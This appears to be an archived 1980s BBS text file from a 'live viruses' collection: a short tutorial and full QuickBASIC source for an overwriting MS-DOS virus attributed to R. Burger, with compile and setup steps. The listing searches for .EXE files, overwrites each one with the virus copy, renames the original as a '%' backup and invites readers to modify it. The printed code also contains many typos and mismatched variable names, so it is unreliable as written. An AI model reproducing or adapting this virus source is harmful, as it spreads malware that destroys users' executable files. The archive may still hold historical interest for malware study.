home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / virus.bas < prev    next >
BASIC Source File  |  1989-06-25  |  3KB  |  90 lines

  1.                            Viruses in Basic
  2.                            ----------------
  3.  
  4.  
  5. Basic is great language and often people think of it as a limited language
  6. and will not be of any use in creating something like a virus. Well you are
  7. really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987.
  8. This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE
  9. files.To do this you must compile the source code using a the Microsoft 
  10. Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit
  11. the source code to place the lenght of the object program in the LENGHTVIR
  12. variable. BV3.EXE should be in the current directory, COMMAND.COM must be
  13. available, the LENGHTVIR variable must be set to the lenght of the linked      
  14.  
  15. program and remember to use /e parameter when compiling.
  16.  
  17.  
  18.  
  19. 10 REM ** DEMO  
  20. 20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED **
  21. 30 REM ** BASIC DOESNT SUCK 
  22. 40 REM ** NO KIDDING
  23. 50 ON ERROR GOTO 670
  24. 60 REM *** LENGHTVIR MUST BE SET **
  25. 70 REM *** TO THE LENGHT TO THE **
  26. 80 REM *** LINKED PROGRAM ***
  27. 90 LENGHTVIR=2641
  28. 100 VIRROOT$="BV3.EXE"
  29. 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
  30. 130 SHELL "DIR *.EXE>INH"
  31. 140 REM ** OPEN "INH" FILE AND READ NAMES **
  32. 150 OPEN "R",1,"INH",32000 
  33. 160 GET #1,1
  34. 170 LINE INPUT#1,ORIGINAL$
  35. 180 LINE INPUT#1,ORIGINAL$
  36. 190 LINE INPUT#1,ORIGINAL$
  37. 200 LINE INPUT#1,ORIGINAL$  
  38. 210 ON ERROR GOT 670
  39. 220 CLOSE#2
  40. 230 F=1:LINE INPUT#1,ORIGINAL$
  41. 240 REM ** "%" IS THE MARKER OF THE BV3
  42. 250 REM ** "%" IN THE NAME MEANS
  43. 260 REM  ** INFECTED COPY PRESENT 
  44. 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
  45. 280 ORIGINAL$=MID$(ORIGINAL$,1,13)
  46. 290 EXTENSIONS$=MID$(ORIGINAL,9,13)
  47. 300 MID$(EXTENSIONS$,1,1)="."
  48. 310 REM *** CONCATENATE NAMES INTO FILENAMES **
  49. 320 F=F+1
  50. 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN      
  51. GOTO 350
  52. 340 GOTO 320
  53. 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
  54. 360 ON ERROR GOTO 210
  55. 365 TEST$=""
  56. 370 REM ++ OPEN FILE FOUND +++
  57. 380 OPEN "R",2,OROGINAL$,LENGHTVIR
  58. 390 IF LOF(2) < LENGHTVIR THEN GOTO 420
  59. 400 GET #2,2
  60. 410 LINE INPUT#1,TEST$
  61. 420 CLOSE#2
  62. 431 REM ++ CHECK IF PROGRAM IS ILL ++   
  63. 440 REM ++ "%" AT THE END OF THE FILE MEANS..
  64. 450 REM ++ FILE IS ALREADY SICK ++
  65. 460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210
  66. 470 CLOSE#1
  67. 480 ORIGINALS$=ORIGINAL$
  68. 490 MID$(ORIGINALS$,1,1)="%"
  69. 499 REM ++++ SANE "HEALTHY" PROGRAM ++++
  70. 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
  71. 520 SHELL C$
  72. 530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
  73. 540 C$="COPY "+VIRROOT$+ORIGINAL$
  74. 550 SHELL C$
  75. 560 REM *** APPEND VIRUS MARKER ***
  76. 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
  77. 580 WRITE#1,ORIGINALS$
  78. 590 CLOSE#1
  79. 630 REM ++ OUYPUT MESSAGE ++
  80. 640 PRINT "INFECTION IN " ;ORIGIANAL$; "  !! BE WARE !!"
  81. 650 SYSTEM
  82. 660 REM ** VIRUS ERROR MESSAGE 
  83. 670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
  84. 680 END
  85.     
  86.  
  87. This basic virus will only attack .EXE files. After the execution you will
  88. see a "INH" file which contains the directory, and the file %SORT.EXE.
  89. Programs which start with "%" are NOT infected ,they pose as back up copies.
  90.